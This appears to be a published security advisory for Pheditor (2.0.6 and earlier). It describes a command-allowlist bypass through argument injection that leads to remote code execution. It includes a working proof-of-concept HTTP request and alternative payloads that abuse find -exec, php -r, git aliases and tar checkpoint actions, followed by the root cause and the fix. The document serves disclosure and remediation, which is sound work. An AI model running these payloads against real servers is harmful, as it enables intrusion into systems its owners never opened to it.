high · 8.8Jul 24, 2026

Pheditor Terminal Command-Allowlist Bypass via Argument Injection (RCE)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Pheditor's web terminal restricts commands to an allowlist but checks only the prefix, so anyone with terminal access can run arbitrary OS commands by passing dangerous flags to allowlisted binaries…

Packagepheditor/pheditor
Ecosystemcomposer
Affected<= 2.0.6
Fixed in2.0.7
Pheditor Terminal Command-Allowlist Bypass via Argument Injection (RCE)

The problem

The terminal action in pheditor.php enforces a prefix match against TERMINAL_COMMANDS (ls, find, git, php, tar, grep, composer, etc.) and rejects shell metacharacters like &, ;, |, $, and backtick. It does not validate the arguments that follow the binary name.

Several allowlisted binaries grant arbitrary code execution through their own flags: find -exec, php -r, git -c alias, tar --checkpoint-action. A command beginning with an allowlisted name but carrying one of these flags contains no rejected character and reaches shell_exec intact.

Combined with pheditor's hardcoded default password of 'admin', a default deployment is effectively unauthenticated RCE.

Proof of concept

A working proof-of-concept for this issue in pheditor/pheditor, with the exact payload below.

http
POST /pheditor.php HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: <session>

action=terminal&command=find+.+-maxdepth+0+-exec+touch+/tmp/PWNED+{}+%2B&dir=/var/www/html

# Alternative payloads (same metacharacter constraints, same allowlist pass):
# php -r 'system("id");'
# git -c alias.x='!id' x
# tar -cf /dev/null --checkpoint=1 --checkpoint-action=exec="id" .

Root cause is CWE-88 (Argument Injection): the allowlist check at line 595-605 of pheditor.php uses substr($command, 0, strlen($value)) == $value, a raw prefix match with no word boundary and no argument parsing. The character denylist at line 588 only blocks shell chaining metacharacters (&, ;, |, $, backtick), not option flags like -exec, -r, or --checkpoint-action.

Because shell_exec at line 617 runs the full string through /bin/sh, any allowlisted binary that supports a code-execution flag becomes a shell escape. The patch (commit f40f5070) removes code-exec-capable binaries from TERMINAL_COMMANDS and adds per-command argument validation so only safe flag subsets are forwarded.

The fix

Upgrade to pheditor 2.0.7 (commit f40f5070). If immediate upgrade is not possible, remove find, php, git, and tar from the TERMINAL_COMMANDS constant, or disable the terminal feature entirely by removing 'terminal' from the PERMISSIONS constant.

Reported by anir0y.

References: [1][2][3][4]

Related research